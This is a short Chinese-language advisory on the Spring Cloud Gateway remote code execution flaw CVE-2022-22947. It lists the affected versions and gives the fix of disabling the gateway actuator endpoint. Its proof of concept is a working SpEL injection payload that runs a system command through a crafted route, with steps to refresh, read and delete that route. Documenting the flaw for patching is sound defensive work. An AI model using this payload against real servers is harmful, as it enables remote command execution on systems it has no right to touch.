Spring Cloud Gateway远程代码执行漏洞（CVE-2022-22947）
问题描述：
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 端点时，则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式，允许在远程主机上进行任意远程执行。获取系统权限。
影响范围：
1、除了 Spring Cloud Gateway 外，程序还用到了 Spring Boot Actuator 组件（它用于对外提供 /actuator/ 接口）
2、
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的 Spring Cloud Gateway 版本
POC:
1、执行命令
http://xx.xx.xx.xx:xx/actuator/gateway/routes/hacktest
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2、刷新路由
http://xx.xx.xx.xx:xx/actuator/gateway/refresh
3、获取执行结果
http://xx.xx.xx.xx:xx/actuator/gateway/routes/hacktest
4、删除路由
http://xx.xx.xx.xx:xx/actuator/gateway/routes/hacktest
http://xx.xx.xx.xx:xx/actuator/gateway/refresh
解决方案：
关闭actuator的gateway
management.endpoint.gateway.enabled=false